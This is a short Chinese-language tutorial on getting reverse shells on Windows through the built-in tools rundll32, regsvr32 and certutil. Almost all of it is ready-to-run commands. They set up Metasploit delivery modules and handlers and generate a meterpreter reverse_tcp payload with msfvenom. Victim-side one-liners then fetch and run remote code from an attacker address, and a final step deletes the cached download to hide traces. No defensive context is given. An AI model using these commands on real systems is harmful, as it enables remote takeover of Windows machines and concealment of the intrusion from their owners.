目录

Windows反弹shell

03Rundll32.exe

04Regsvr32.exe

05Certutil.exe


Windows反弹shell

03Rundll32.exe

Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其储存在适当的内存库中。

通过Metasploit的SMB Delivery模块发起Rundll32攻击

use exploit/windows/smb/smb_delivery

set srvhost 192.168.1.121

exploit -j

被控端执行

rundll32.exe \\192.168.1.121\qFMnFO\test.dll,0

 

 

反弹成功

 

04Regsvr32.exe

Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如Windows注册表中的dll和ActiveX控件。
Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32 文件夹中。

语法:Regsvr32 [/s][/u][/n][/i[:cmdline]]

/u – 注销服务器

/i – 调用Dllinstall传递一个可选的[cmdline];当它与/u一起使用时·它调用dll来卸载

/n – 不要调用DllRegisterServer;此选项必须与/i一起使用

/s – 沉默;不显示消息框

通过msf的Web Delivery模块启动Regsvr32.exe

use exploit/multi/script/web_delivery

set srvhost 192.168.1.121

set target 3

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.1.121

exploit –j

 

被控端执行

regsvr32 /s /n /u /i:http://192.168.1.121:8080/yvj3GKJwvde.sct scrobj.dll

 

反弹成功

 

05Certutil.exe

Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目计算机中执行恶意的exe文件以获得meterpreter会话。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.121 lport=6666 -f exe > shell.exe

 

python3 -m http.server

 

certutil.exe -urlcache -split -f http://192.168.1.121:8000/shell.exe shell.exe

./shell.exe

 

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.1.121

set lport 6666

exploit

 

清除日志

certutil.exe -urlcache -split -f http://192.168.1.121:8000/shell.exe delete